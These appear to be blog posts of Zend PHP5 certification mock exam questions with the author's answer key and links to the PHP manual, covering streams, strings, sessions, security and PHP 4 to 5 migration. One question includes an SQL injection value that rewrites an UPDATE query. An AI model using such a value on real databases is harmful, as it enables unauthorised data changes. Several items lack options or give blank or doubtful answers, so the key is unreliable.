http://www.php.net/manual/en/streamwrapper.stream-seek.php: If not implemented, FALSE is assumed as the return value. — This would indicate that stream_seek provides no guarantee of usage. Also http://ru.php.net/manual/en/function.stream-get-meta-data.php shown seek-able stream or not. http://php.net/manual/ru/function.popen.php — may be bi-directional but not always.
148. Using flock() to lock a stream is only assured to work under what circumstances? (Choose 1 answer)

When running in a Linux environment local filesystem
When accessing the stream of the local filesystem
When running in a Windows environment and accessing a share
When accessing a bi-directional stream
When accessing a read-only stream

Answer: B
http://php.net/manual/en/function.flock.php: flock() allows you to perform a simple reader/writer model which can be used on virtually every platform (including most Unix derivatives and even Windows).
Note:
May only be used on file pointers returned by fopen() for local files, or file pointers pointing to userspace streams that implement the streamWrapper::stream_lock() method.
149. What is wrong with the following code snippet? Assume default configuration values apply. (Choose 1 answer)

<?php

$fp = fsockopen('www.php.net', 80);

fwrite($fp, "GET / HTTP/1.0\r\nHost: www.php.net\r\n");

$data = fread($fp, 8192);

?>

The request is blocking and may cause fread() to hang
The HTTP request is malformed
This script should be re-written using fgets() instead of fread()
The request is non-blocking and fread() may miss the response
You cannot use fwrite() with fsockopen()

Answer:
http://php.net/manual/en/function.fsockopen.php: Example #1 fsockopen() Example – the request is missing its closing \r\n and as such is malformed.
150. _______ can be used to add additional functionality to a stream, such as implementation of a specific protocol on top of a normal PHP stream implementation. (Choose 1 answer)

Buffered
Buckets
Wrappers
Filters

Answer: C
http://php.net/manual/en/intro.stream.php – A wrapper is additional code which tells the stream how to handle specific protocols/encodings.
151. Which of the following is not a valid fopen() access mode: (Choose 1 answer)

Answer: A
http://php.net/manual/en/function.fopen.php – there is no ‘b’ access mode.
152. The _______ constant in a CLI script is an automatically provided file resource representing standard input of the terminal. (Choose 1 answer)

STDIN
__STDIN__
STDIO
PHP::STDIO
STD_IN

Answer: A
http://php.net/manual/en/wrappers.php.php
153. What should go in the ??????? assignment below to create a Zlib-compressed file foo.gz with a compression level of 9? (Choose 1 answer)

<?php

$file = '????????';

$fr = fopen($file, 'wb9');

fwrite($fr, $data);

fclose($fr);

?>

gzip://foo.gz?level=9
compress.zip://foo.gz?level=9
compress.zlib://foo.gz
compress.gzip://foo.gz?level=9
zlib://foo.gz

Answer: C
http://php.net/manual/ru/wrappers.compression.php
154. Which of the following is not a valid default stream wrapper for PHP 5, assuming OpenSSL is enabled? (Choose 1 answer)

ftps://
ftp://
sftp://
https://
http://

Answer: C
http://www.php.net/manual/en/wrappers.php: FTP and FTPS — Accessing FTP(s) URLs.
155. When opening a file in writing mode using the FTP handler, what must be done so that the file will still be written to the server in the event it previously exists? (Choose 1 answer)

Provide a context for fopen() using stream_context_create()
You must delete the file first before uploading a new file
Configure this behavior in the php.ini file using the ftp.overwrite directive
Open the file using the 'w+' mode

Answer: A
http://php.net/manual/en/context.ftp.php:
// Allows overwriting of existing files on the remote FTP server
$stream_options = array('ftp' => array('overwrite' => true));
// Creates a stream context resource with the defined options
$stream_context = stream_context_create($stream_options);
// Opens the file for writing and truncates it to zero length
if ($fh = fopen($ftp_path, 'w', 0, $stream_context))
http://php.net/manual/en/function.stream-context-create.php
156. Which of the following functions is used to determine if a given stream is blocking or not? (Choose 1 answer)

stream_get_blocking
stream_get_meta_data
stream_is_blocking
stream_get_blocking_mode

Answer: B
http://php.net/manual/ru/function.stream-get-meta-data.php
157. What is the difference between the include and require language constructs? (Choose 1 answer)

Require constructs can't be used with URL filenames
Include constructs cause a fatal error if the file doesn't exist
There is no difference other than the name
Include constructs are processed at run time; require constructs are processed at compile time
Require constructs cause a fatal error if the file can't be read

Answer: E
http://php.net/manual/en/function.require.php

158. When writing CLI scripts it is often useful to access the standard streams available to the operating system such as standard input/output and error. How does one access these streams in PHP 5? (Choose 1 answer)

Use stdin(), stdout() and stderr() functions
PHP::STDIN, PHP::STDOUT, PHP::STDERR class constants in PHP 5
STDIN, STDOUT, and STDERR constants in PHP 5
use the php::stdin(), php::stdout(), and php::stderr() class methods

Answer: C
http://php.net/manual/en/wrappers.php.php

159. How can one take advantage of the time waiting for a lock during a stream access, to do other tasks using the following locking code as the base: (Choose 1 answer)
$retval = flock($fr, LOCK_EX);

Use flock_lazy() instead of flock()
Use LOCK_EX|LOCK_NB instead of LOCK_EX
Use LOCK_UN instead of LOCK_EX
Check the value of $retval to see if the lock was obtained
Check to see if $retval == LOCK_WAIT

Answer: B
http://php.net/manual/en/function.flock.php: It is also possible to add LOCK_NB as a bitmask to one of the above operations if you don't want flock() to block while locking. (not supported on Windows).
160. What is the output of? (Choose 1 answer)

function apple($apples = 4)

{

   $apples = $apples / 2;

   return $apples;

}

$apples = 10;

apple($apples);

echo $apples;

Answer: D
http://www.php.net/manual/en/functions.returning-values.php
161. Which statement will return the third parameter passed to a function? (Choose 1 answer)

$argv[3];
$argv[2];
func_get_args(3);
func_get_arg(2);
func_get_arg(3);

Answer: D
http://php.net/manual/en/function.func-get-arg.php — Function arguments are counted starting from zero.
162. What is the output of the following code? (Choose 1 answer)

function oranges(&$oranges = 17)

{

   $oranges .= 1;

}

$apples = 5;

oranges($apples);

echo $apples++;

Answer: B
http://www.php.net/manual/en/functions.arguments.php: Example #2 Passing function parameters by reference, http://php.net/manual/en/language.operators.increment.php: $a++ — Post-increment — Returns $a, then increments $a by one.

163. What is the output of the following code? (Choose 1 answer)

function pears(Array $pears)

{

   if (count($pears) > 0)

   {

      echo array_pop($pears);

      pears($pears);

   }

}

$fruit = array("Anjo", "Bartlet");

pears($fruit);

Bartlet
Anjo
BartletAnjo
AnjoBartlet
None / There is an Error

Answer: C
http://php.net/manual/en/function.array-pop.php
164. In PHP5 objects are passed by reference to a function when (Select the answer that is the most correct): (Choose 1 answer)

Always; objects are passed by reference in PHP5
When the calling code preceeds the variable name with a &
Never; objects are cloned when passed to a function
When the function paramater listing preceeds the variable name with a &

Answer: A
http://php.net/manual/en/language.oop5.references.php — One of the key-points of PHP5 OOP that is often mentioned is that «objects are passed by references by default».

165. What is the output of the following code? (Choose 1 answer)

<?php

function byReference(&$variable = 5)

{

   echo ++$variable;

}

byReference();

?>

No output or error. Variables can not be optional and passed by reference.
5
6

Answer: C
http://php.net/manual/en/language.operators.increment.php: ++$a — Pre-increment — Increments $a by one, then returns $a.

166. What is the output of the following code? (Choose 1 answer)

<?php

function x10(&$number)

$number *= 10;

$count = 5;

x10($count);

echo $count;

?>

Error: Unexpected T_VARIABLE
10
Notice regarding pass by reference
50
5

Answer: A
http://www.tizag.com/phpT/phpfunctions.php — curly braces define where our function's code goes.
167. What is the output of the following? (Choose 1 answer)

<?php

function 1dotEach($n)

{

if ($n > 0)

{

   1dotEach(--$n);

   echo ".";

}

else

{

   return $n;

}

}

1dotEach(4);

?>

…0
Parse Error: Syntax Error
…
…
…

Answer: B
http://www.tizag.com/phpT/phpfunctions.php: function name can start with a letter or underscore «_», but not a number!

168. When your error reporting level includes E_STRICT, what will the output of the following code be? (Choose 1 answer)

<?php

function optionalParam($x = 1, $y = 5, $z)

{

if ((!$z > 0))

{

$z = 1;

}

for($count = $x; $count < $y; $count+= $z)

{

echo "#";

}

}

optionalParam(2,4,2);

?>

##
Notice
Warning
Syntax Error
#

Answer: E
http://php.net/manual/en/language.operators.arithmetic.php

169. What is the output of the following? (Choose 1 answer)

<?php

function byRef(&$number)

{

$number *= 10;

return ($number - 5);

}

$number = 10;

$number = byRef($number);

echo $number;

?>

Answer: C
http://php.net/manual/en/language.references.pass.php

170. What is the output of the following? (Choose 1 answer)

<?php

function byRef(&$apples)

{

   $apples++;

}

$oranges = 5;

$apples = 5;

byRef($oranges);

echo "I have $apples apples and $oranges oranges";

?>

I have 6 apples and 6 oranges
I have 6 apples and 5 oranges
I have 5 apples and 6 oranges
I have 5 apples and 5 oranges

Answer: C
http://php.net/manual/en/language.references.pass.php

171. What is the output of the following? (Choose 1 answer)

<?php

function a($number)

{

   return (b($number) * $number);

}

function b(&$number)

{

   ++$number;

}

echo a(5);

?>

Answer: A
http://www.php.net/manual/en/functions.returning-values.php, so INT(null)*6=0.

Zend PHP5 Certification Mock Exam Sample Questions — 2

2013-02-01T18:27:00.002-08:00

Zend PHP5 Certification Mock Exam Sample Questions — 2

This is the second part of the explanation exam questions to test Zend PHP5 with the correct (imho) answers and useful links on manuals.
If you have additional minds please use comments.

61. Given the two values below, which of the following possiblities will print 10 foos20 bars? (Choose 1 answer)

<?php

$var1 = "10 foos";

$var2 = "20 bars";

print ???????;

?>

None of the above
implode(««, array($var1,$var2));
$var1 . $var2
$var1 + $var2
All of the above

Answer: B, C
http://php.net/manual/en/language.operators.string.php, http://ru.php.net/manual/en/function.implode.php
62. Given the string, which of the following will extract the TLD (top level domain) of „.net“ from the string? (Choose 1 answer)
$var = „john@php.net“;

strstr($var, strpos($var, „.“));
substr($var, strpos($var, „@“));
substr($var, strstr($var, „.“));
substr($var, strpos($var, „.“) + 1);
substr($var, strpos($var, „.“));

Answer: E
http://ru.php.net/manual/en/function.substr.php, http://ru.php.net/manual/en/function.strpos.php
63. When comparing two strings, which of the following is acceptable? (Choose 4 answers)

$a === $b;
strcasecmp($a, $b);
strcmp($a, $b);
$a == $b;
str_compare($a,$b);

Answer: A, B, C, D
http://ru.php.net/manual/en/function.strcasecmp.php, http://ru.php.net/manual/en/function.strcmp.php and str_compare does not exist.
64. A fingerprint of a string can be determined using which of the following? (Choose 1 answer)

md5()
hash()
fingerprint()
None of the above

Answer: A
http://ru.php.net/manual/en/function.md5.php
65. Which of the following is the best way to split a string on the „-=-“ pattern? (Choose 1 answer)

They all are equally proper methods
str_split($string, strpos($string, „-=-“))
preg_split(„-=-“, $string);
explode(„-=-“ $string);

Answer: D
http://ru.php.net/manual/en/function.str-split.php, http://ru.php.net/manual/en/function.preg-split.php, http://ru.php.net/manual/en/function.explode.php — but where is comma?
66. What is the output of the following code? (Choose 1 answer)

<?php

$string = "14302";

$string[$string[2]] = "4";

print $string;

?>

14304
14342
44302
14402
Array

Answer: B
67. Which of the following comparisons will evaluate to true? (Choose 3 answers)

't' == t
1 === „1time“
„top“ == 0
„top“ === 0
1 == „1time“

Answer: A, C, E
http://www.php.net/manual/en/language.types.type-juggling.php
68. Which function is best suited for removing markup tags from a string? (Choose 1 answer)

strip_markup
strip_tags
str_replace
preg_replace
preg_strip

Answer: B
http://php.net/manual/en/function.strip-tags.php
69. Identify the best approach to compare to variables in a binary-safe fashion (Choose 1 answer)

Both strcmp() and $a === $b
$a == $b
$a === $b
str_compare()
strstr()

Answer: A
http://ru2.php.net/manual/en/function.strcmp.php, http://php.net/manual/en/language.operators.comparison.php
70. Consider the following script, what could be placed in place of ?????? to output the string: I have 5 apples and 10 oranges? (Choose 2 answers)

<?php

$oranges = 10;

$apples = 5;

$string = "I have %d apples and %d oranges";

???????

?>

str_format($string, $apples, $oranges);
print($string, $apples, $oranges);
printf($string, $apples, $oranges);
print sprintf($apples, $oranges);
sprintf($string, $oranges, $apples);

Answer: E
http://ru.php.net/manual/en/function.sprintf.php
71. Consider the following script, In this script, do the two var_dump() calls produce the same string? Why or Why Not? (Choose 1 answer)

<?php

$string = "<b>I like 'PHP' & I think it is \"cool\"</b>";

var_dump(htmlentities($string, ENT_QUOTES));

var_dump(print htmlspecialchars($string));

?>

No, the htmlentities() call will translate quotes while the htmlspecialchars() call will not
No, htmlentites() translates < and > symbols to their HTML entity equivalents while htmlspecialchars() only does quotes
No, the htmlentites() call won't translate quotes to HTML entities while the htmlspecialchars() call will
Yes, htmlspecialchars() and htmlentities() with the ENT_QUOTES constants produce the same result

Answer: A
http://ru.php.net/manual/en/function.htmlentities.php, http://ru.php.net/manual/en/function.htmlspecialchars.php
72. Consider the following String, which of the following functions would best parse the string above by the tab (\t) and newline (\n) characters? (Choose 1 answer)
$string = „John\tMark\nTed\tLarry“;

strsplit($string, „\t\n“);
strtok($string, „\t\n“);
strstr($string, „\t\n“);
explode(„\t\n“, $string);
All of the above

Answer: 2
http://ru.php.net/manual/en/function.strtok.php
73. Which functions would be needed to translate the following string: ‘I love PHP 5’ to the following ‘5 PHP EVOL I’? (Choose 2 answers)

mirror()
strtoupper()
toupper()
str_reverse()
strrev()

Answer: B, E
http://ru.php.net/manual/en/function.strtoupper.php, http://ru.php.net/manual/en/function.strrev.php
74. What is the best approach for converting this string, Into this array? (Choose 1 answer)
$string = „a=10&b[]=20&c=30&d=40+50“;
array(4) {
["a"]=>string(2) „10“
["b"]=>array(1) {
[0]=>string(2) „20“
}
["c"]=>string(2) „30“
["d"]=>string(5) „40 50“
}

Write a parser completely by hand, it's the only way to make sure it's 100% accurate
Use the parse_str() function to translate it to an array()
Pass the variable to another PHP script via an HTTP GET request and return the array as a serialized variable
Just call unserialize() to translate it to an array()
Write a string parser using strtok() and unserialize() to convert it to an array

Answer: B
http://ru.php.net/manual/en/function.parse-str.php
75. Which string does the following PCRE regular expression match? (Choose 2 answers)
$regex = „/^([a-z]{5})[1-5]+([a-z]+)/“;

None of the above
Hello34262343goodbye
frank12345abc
hello34212343goodbye
abcdefghi12345abc

Answer: C, D
http://en.wikipedia.org/wiki/Regular_expression
76. Which PCRE regular expression will match the string ‘PhP5-rocks’? (Choose 1 answer)

/^[hp1-5]*\- .*/i
/[hp1-5]*\- .?/
/[hp][1-5]*\- .*/
/[PhP]{3}[1-5]{2,3}\- .*$/
/[a-z1-5\-]*/

Answer: A
http://www.phpro.org/tutorials/Introduction-to-PHP-Regex.html#8
77. If regular expressions must be used, in general which type of regular expression functions available to PHP is preferred for performance reasons? (Choose 1 answer)

strtok() using regular expressions
preg_* regular expression functions
parse_str() using regular expressions
strregex* regular expression functions
ereg* regular expression functions

Answer: B
http://ru.php.net/manual/en/function.ereg.php: preg_match(), which uses a Perl-compatible regular expression syntax, is often a faster alternative to ereg().
78. To destroy one variable within a PHP session you should use which method in PHP 5? (Choose 1 answer)

Unset the variable in $HTTP_SESSION_VARS
Use the session_destroy() function
Use the session_unset() function
unset the variable in $_SESSION using unset()
Any of the above are acceptable in PHP 5

Answer: D
http://docs.php.net/manual/ru/session.examples.basic.php: Example #2 Unregistering a variable with $_SESSION and register_globals disabled.
79. If you would like to store your session in the database, you would do which of the following? (Choose 1 answer)

It requires a custom PHP extension to change the session handler
Implement the session_set_save_handler() function
Create functions for each session handling step and use session_set_save_handler() to override PHP's internal settings
Configure the session.save_handler INI directive to your session class

Answer: C
http://ru.php.net/manual/en/function.session-set-save-handler.php: This is most useful when a storage method other than those supplied by PHP sessions is preferred. i.e. Storing the session data in a local database.
80. To destroy a PHP session completely, one must which of the following? (Choose 2 answers)

Regenerate the session ID using session_regenerate_id()
If cookies are used, destroy it
Use session_demolish() to completely destroy the session
Change the session name using session_name()
Destroy the session data using session_destroy()

Answer: B, E
http://ru.php.net/manual/en/function.session-destroy.php, and delete the session cookie
81. If you would like to change the session ID generation function, which of the following is the best approach for PHP 5? (Choose 1 answer)

Set the session.hash_function INI configuration directive
Use the session_set_id_generator() function
Set the session id by force using the session_id() function
Use the session_regenerate_id() function
Implement a custom session handler

Answer: C
http://ru2.php.net/manual/en/function.session-id.php
82. Consider the following HTML fragement, which of the following name attributes should be used to capture all of the data from the user in PHP? (Choose 1 answer)
<select name=»?????» multiple>
<option value=»1">Item #1</option>
<!— … more options … —>
</select>

myselectbox=array()
myselectbox[]
myselectbox['multiple']
myselectbox{'multiple'}
myselectbox

Answer: B
http://onlamp.com/pub/a/php/2004/08/26/PHPformhandling.html
83. When uploading a file using HTTP, which variable can be used to locate the file on PHP's local filesystem? (Choose 1 answer)

None of the above
$_FILES['fieldname']['tmp_name']
$_FILES['fieldname']
$_FILES['fieldname'][0]['filename']
$_FILES['fieldname']['filename']

Answer: B
http://www.php.net/manual/en/features.file-upload.post-method.php:$_FILES['userfile']['tmp_name'] – the temporary filename of the file in which the uploaded file was stored on the server.
84. To force a user to redirect to a new URL from within a PHP 5 script, which of the following should be used? (Choose 1 answer)

Send a HTTP «Location:» header
Use the HTML <redirect> Tag
Send a HTTP «Forward:» header
Use the redirect() function

Answer:
http://php.net/manual/en/function.header.php, respectively with Location response-header field.
85. Setting a cookie on the client in PHP 5 can be best accomplished by: (Choose 1 answer)

Use the add_cookie() function
Use the setcookie() function
Use the the apache_send_header() function
Setting a variable in the $_COOKIE superglobal

Answer: B
http://ru.php.net/manual/en/function.setcookie.php
86. How does one create a cookie which will exist only until the browser session is terminated? (Choose 1 answer)

You cannot create cookies that expire when the browser session is terminated
Setting the expiration time for a cookie to a time in the distant future
Do not provide a cookie expiration time
Enable Cookie Security
Set a cookie without a domain

Answer: C
http://php.net/manual/en/function.setcookie.php: if expire set to 0, or omitted, the cookie will expire at the end of the session (when the browser closes).
87. Setting a HTTP cookie on the client which is not URL-encoded is done how in PHP 5? (Choose 1 answer)

Use the setrawcookie() function
Set the cookies.urlencode INI directive to false
Use urldecode() on the return value of setcookie()
Setting the $no_encode parameter of setcookie() to a boolean 'true'
All cookies must be URL encoded

Answer: A
http://ru.php.net/manual/en/function.setrawcookie.php: setrawcookie() is exactly the same as setcookie() except that the cookie value will not be automatically urlencoded when sent to the browser.
88. During an HTTP authentication, how does one determine the username and password provided by the browser? (Choose 1 answer)

Parse the HTTP headers manually using http_get_headers()
Use the get_http_username() and get_http_password() functions
Use the $_SERVER['HTTP_USER'] and $_SERVER['HTTP_PASSWORD'] variables
Use the $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW'] variables
Parse the $_SERVER['REQUEST_URI'] variable

Answer: D
http://php.net/manual/en/features.http-auth.php
89. Consider the following function, what conditional should replace the ????? above? (Choose 1 answer)

<?php

function redirect($url) {

// Check to make sure we haven't already sent

// the header:

if(???????) {

   header("Location: $url");

   }

}

?>

!in_array(«Location: $url», headers_list())
!header_exists(«Location: $url»)
!header_location($url)
$_SERVER['HTTP_LOCATION'] != $url

Answer: A
http://ru.php.net/manual/en/function.headers-list.php, also header_exists is not exists.
90. One can ensure that headers can always be sent from a PHP script by doing what? (Choose 1 answer)

Enable header buffering in PHP 5
Set the header.force INI directive to true
Enable output buffering in PHP 5
There is no way to ensure that headers can always be set, they must always be checked
None of the above

Answer: C
http://php.net/manual/en/function.ob-start.php: while output buffering is active no output is sent from the script (other than headers), instead the output is stored in an internal buffer.
91. When is it acceptable to store sensitive information in an HTTP cookie? (Choose 1 answer)

Only under extremely controlled situations
When the cookie is sent over a secure HTTP request
When it is encrypted
It is always acceptable

Answer: C (A)
http://php.net/manual/en/function.setcookie.php — the value of the cookie is stored on the clients computer; do not store sensitive information.
92. Removing undesired markup tags from input can best be done using which function? (Choose 1 answer)

strip_tags()
tidy_strip_html()
str_replace()
strip_html()

Answer: A
http://ru2.php.net/manual/en/function.strip-tags.php — strip HTML and PHP tags from a string.
93. When using a function such as strip_tags, are markup-based attacks still possible? (Choose 1 answer)

No, HTML does not pose any security risks
Yes, even a <p> HTML tag is a security risk
Yes, attributes of allowed tags are ignored
No, strip_tags will prevent any markup-based attack

Answer: C
http://ru2.php.net/manual/en/function.strip-tags.php — This function does not modify any attributes on the tags that you allow using allowable_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users.
94. Consider the following PHP string representing an SQL statement. Which of the following values for $username or $password would change the behavior of this query when executed? (Choose 1 answer)
$query = «UPDATE users SET password='$password' WHERE username='$username'»;

None of the above
$username = «foobar\' WHERE username='admin'»;
$password = «foobar' WHERE username='admin' —:»;
$password = «\»foobar\» WHERE username=\»admin\»";

Answer: C
http://php.net/manual/en/security.database.sql-injection.php — It is common technique to force the SQL parser to ignore the rest of the query written by the developer with — which is the comment sign in SQL.
95. SQL Injections can be best prevented using which of the following database technologies? (Choose 1 answer)

All of the above
Prepared Statements
Persistent Connections
Unbuffered Queries
Query escaping

Answer: B
http://php.net/manual/en/pdo.prepared-statements.php — If an application exclusively uses prepared statements, the developer can be sure that no SQL injection will occur (however, if other portions of the query are being built up with unescaped input, SQL injection is still possible).
96. Where should indirectly executed PHP scripts (i.e. include files) be stored in the file system? (Choose 1 answer)

Outside of the Document Root
In the document root
Anywhere you want
In the database

Answer: A
http://phpsec.org/projects/guide/3.html: Remember that everything within document root has a URL associated with it. For example, if document root is /usr/local/apache/htdocs, then a file located at /usr/local/apache/htdocs/inc/db.inc has a URL such as http://example.org/inc/db.inc.
97. When executing system commands from PHP, what should one do to keep applications secure? (Choose 3 answers)

Remove all quote characters from variables used in a shell execution
Avoid using shell commands when PHP equivlents are available
Hard code all shell commands
Escape all shell arguments
Escape all shell commands executed

Answer: B, C, D (?)
http://ru.php.net/manual/en/function.exec.php: When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.
98. Why is it important from a security perspective to never display PHP error messages directly to the end user, yet always log them? (Choose 2 answers)

Error messages will contain sensitive session information
Error messages can contain cross site scripting attacks
Security risks involved in logging are handled by PHP
Error messages give the perception of insecurity to the user
Error messages can contain data useful to a potential attacker

Answer: D, E (A)
http://www.w3schools.com/php/php_error.asp
99. The MVC pattern in Web development involves which of the following components? (Choose 4 answers)

View
Controller
Validation
Model
Front Controller

Answer: D, A, B (-C)
http://en.wikipedia.org/wiki/Model–view–controller
100. Which of the following aspects of the MVC pattern is used in conjunction with the database? (Choose 1 answer)

Model
Schema
Validation
Controller
View

Answer: A
http://en.wikipedia.org/wiki/Model–view–controller: the 'model' in MVC is both the data and the business/domain logic needed to manipulate the data in the application.
101. What are the primary benefits of object oriented programming? (Choose 3 answers)

Maintainability
Execution Speed
Encapsulation
Code Reuse

Answer: A, C, D
http://en.wikipedia.org/wiki/Object-oriented_programming#cite_ref-realisticcodereuse_23-0: OOP was developed to increase the reusability and maintainability of source code.[24], and of course Encapsulation.
102. What constitutes a View in the MVC pattern for PHP 5, in the following list? (Choose 2 answers)

Iterators
PDO
Classes
PHP
Smarty

Answer: D, E
http://en.wikipedia.org/wiki/Model–view–controller#Concepts: The view renders the model into a form suitable for interaction, typically a user interface element.
103. Which of the following extensions are no longer part of PHP 5 and have been moved to PECL? (Choose 2 answers)

tidy
mysql
w32api
curl
dio

Answer: C, E
http://ru.php.net/manual/en/intro.w32api.php & http://ru.php.net/manual/en/intro.dio.php: This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.
104. Which of the following functions were added to PHP 5 for dealing with arrays? (Choose 2 answers)

array_intersect_key()
array_unshift()
array_diff_key()
array_merge()
array_slice()

Answer: A, C
http://ru.php.net/manual/en/function.array-intersect-key.php & http://ru.php.net/manual/en/function.array-diff-key.php: (PHP 5 >= 5.1.0)
105. Consider the following script. This code has changed behavior in PHP 5. Identify the output of this script as it would have been in PHP 4, as well as the new behavior in PHP 5. (Choose 2 answers)

<?php

function func(&$arraykey) {

   return $arraykey; // function returns by value!

}

$array = array('a', 'b', 'c');

foreach (array_keys($array) as $key) {

   $y = &func($array[$key]);

   $z[] =& $y;

}

var_dump($z);

?>

array('a', 'a', 'b')
array('a', 'b', 'c')
array('c', 'b', 'a')
array('c', 'c', 'c')
array('b', 'b', 'b')

Answer: B, D
http://www.php.net/manual/en/language.references.return.php & http://php.net/manual/en/functions.returning-values.php
106. Consider the following code block. This code block's behavior has changed between PHP 4 and PHP 5. Why? (Choose 1 answer)

<?php

function &myFunction() {

   $string = "MyString";

   var_dump($string);

   return ($undefined);

}

for($i = 0; $i < 10; $i++) {

   $retval = myFunction();

}

?>

None of the above
This could would cause an automatic segmentation fault in PHP 4
This code would throw a syntax error in PHP 4
Returning an undefined variable by reference in PHP 4 would cause eventual memory corruption
You could not return undefined variables by reference in PHP 4

Answer: A
http://php.net/manual/en/function.return.php: You should never use parentheses around your return variable when returning by reference, as this will not work.
107. When migrating the following code from PHP 4 to PHP 5, what should be changed? (Choose 2 answers)

<?php

class MyClass {

   function MyClass($param) {

      /* Do something with $param */

      $this->_doSomething($param);

   }

   // Private method to MyClass

   function _doSomething($param) {

      /* Do something with $param */

   }

}

class AnotherClass extends MyClass {

   var $param = "foo";

   function AnotherClass() {

      parent::MyClass($this->param);

   }

}

?>

Access modifiers should be added to methods
The Constructors for the objects should both be renamed to __construct
The use of the parent keyword has changed to 'super'
Constructors must have the same parameter lists

Answer: A, B
http://php.net/manual/en/language.oop5.decon.php: For backwards compatibility, if PHP 5 cannot find a __construct() function for a given class, it will search for the old-style constructor function, by the name of the class. Effectively, it means that the only case that would have compatibility issues is if the class had a method named __construct() which was used for different semantics. And http://devzone.zend.com/article/1714#Heading4 about Access modifiers in PHP 5.
108. Assuming every method call below returns an instance of an object, how can the following be re-written in PHP 5? (Choose 1 answer)

<?php

$a = new MyClass();

$b = $a->getInstance();

$c = $b->doSomething();

?>

$c = ((MyClass)$a->getInstance()) ->doSomething();
This cannot be re-written in PHP 5
$c = $a->getInstance() ->doSomething();
$c = (MyClass)$a->getInstance();
$c = (new MyClass()) ->getInstance() ->doSomething();

Answer: C
What the link?
109. How can the following code be re-written from PHP 4 to PHP 5? (Choose 1 answer)

<?php

if(get_class($myObj) == "MyClass") {

   // Do something

}

?>

if(get_class($myObj) === «MyObject)
if(strtolower(get_class($myObj)) == «MyClass»)
if($myObj implements MyClass)
if($myObj instanceof Object)
if($myObj instanceof MyClass)

Answer: E
http://php.net/manual/en/internals2.opcodes.instanceof.php
110. Is this code valid only in PHP 4, in PHP 5, or both? (Choose 1 answer)

<?php

function myfunction(&$myvalue = null) {

   /* ... */

}

?>

Both
PHP 5
PHP 4

Answer: B
http://php.net/manual/en/functions.arguments.php: As of PHP 5, default values may be passed by reference.

Zend PHP5 Certification Mock Exam Sample Questions — 1

2013-02-01T18:25:00.002-08:00

Zend PHP5 Certification Mock Exam Sample Questions — 1

PHP | 18.04.2011 | Метки: zend | 4 Комментария

This is the first part of the explanation exam questions to test Zend PHP5 with the correct (imho) answers and useful links on manuals.
If you have additional thoughts please use comments.

1. Which of the following tags are an acceptable way to begin a PHP Code block? (Choose 4 answers)

<SCRIPT LANGUAGE=»php»>
<!
<%
<?php
<?

Answer: A, C, D, E
http://php.net/manual/en/language.basic-syntax.phpmode.php
2. Which of the following are valid PHP variables? (Choose 4 answers)

@$foo
&$variable
${0×0}
$variable
$0×0

Answer: A, B, C, D
http://php.net/manual/en/language.variables.php
3. What is the best way to iterate and modify every element of an array using PHP 5? (Choose 1 answer)

You cannot modify an array during iteration
for($i = 0; $i < count($array); $i++) { /* … */ }
foreach($array as $key => &$val) { /* … */ }
foreach($array as $key => $val) { /* … */ }
while(list($key, $val) = each($array)) { /* … */

Answer: C
http://php.net/manual/en/control-structures.foreach.php: As of PHP 5, you can easily modify array's elements by preceding $value with &. This will assign reference instead of copying the value.
4. What is the output of the following PHP code? (Choose 1 answer)

<?php

define('FOO', 10);

$array = array(10 => FOO, "FOO" => 20);

print $array[$array[FOO]] * $array["FOO"];

?>

Answer: C
http://www.php.net/manual/en/function.define.php, http://php.net/manual/en/language.constants.php, FOO is constant, but “FOO” is string
5. What is the output of the following PHP script? (Choose 1 answer)

<?php

$a = 1;

$b = 2.5;

$c = 0xFF;

$d = $b + $c;

$e = $d * $b;

$f = ($d + $e) % $a;

print ($f + $e);

?>

643.75
432
643
257
432.75

Answer: A
http://en.wikipedia.org/wiki/Hexadecimal, http://www.php.net/manual/en/language.operators.arithmetic.php
6. What combination of boolean values for $a, $b, $c, and $d will result in the variable $number being equal to 3? (Choose 1 answer)

<?php

$a = null;

$b = null;

$c = null;

$d = null;

if($a && !$b) {

   if(!!$c && !$d) {

      if($d && ($a || $c)) {

         if(!$d && $b) {

            $number = 1;

         } else {

            $number = 2;

         }

      } else {

         $number = 3;

      }

   } else {

      $number = 4;

   }

} else {

   $number = 5;

}

?>

false, true, true, true
true, false, true, false
true, true, false, false
false, true, true, false
false, false, true, false

Answer: B
http://www.php.net/manual/en/language.operators.logical.php : $a && $b – And – TRUE if both $a and $b are TRUE -> ($a && !$b) TRUE then $a is TRUE and $b is FALSE.
7. What is the output of the following code? (Choose 1 answer)

<?php

$string = "111221";

for($i = 0; $i < strlen($string); $i++) {

   $current = $string[$i];

   $count = 1;

   while(isset($string[$i + $count]) && ($string[$i + $count] == $current)) $count++;

   $newstring .= "$count{$current}";

   $i += $count-1;

}

print $newstring;

?>

312211
3312212
11221221
221131
3211122

Answer: A
Just executing while loop once you will get the answer.
8. What is the best way to ensure that a user-defined function is always passed an object as its single parameter? (Choose 1 answer)

function myfunction(stdClass $a)
function myfunciton($a = stdClass)
Use is_object() within the function
There is no way to ensure the parameter will be an object
function myfunction(Object $a)

Answer: C
http://php.net/manual/en/function.is-object.php
9. What does the following function do, when passed two integer values for $p and $q? (Choose 1 answer)

<?php

function magic($p, $q) {

   return ($q == 0) ? $p : magic($q, $p % $q);

}

?>

Loops infinitely
Switches the values of $p and $q
Determines if they are both even or odd
Determines the greatest common divisor between them
Calculates the modulus between the two

Answer: D
10. The ____ operator is used to test if two values are identical in every way. (Choose 1 answer)

!==
instanceof
=
==
===

Answer: E
http://www.php.net/manual/en/language.operators.comparison.php
11. What would go in place of ?????? below to make this script execute without a fatal error? (Choose 3 answers)

quit();
die();
stop();
__halt_compiler();
exit();

Answer: B, D, E
http://ru.php.net/manual/en/function.die.php, http://php.net/manual/en/function.halt-compiler.php, http://ru.php.net/manual/en/function.exit.php
12. What is the output of the following? (Choose 1 answer)

<?php

$a = 010;

$b = 0xA;

$c = 2;

print $a + $b + $c;

?>

20
22
18
$a is an invalid value
2

Answer: A
http://en.wikipedia.org/wiki/Octal, http://en.wikipedia.org/wiki/Hexadecimal
13. What is the output of the following? (Choose 1 answer)

<?php

$a = 20;

function myfunction($b) {

   $a = 30;

   global $a, $c;

   return $c = ($b + $a);

}

print myfunction(40) + $c;

?>

120
Syntax Error
60
70

Answer: A
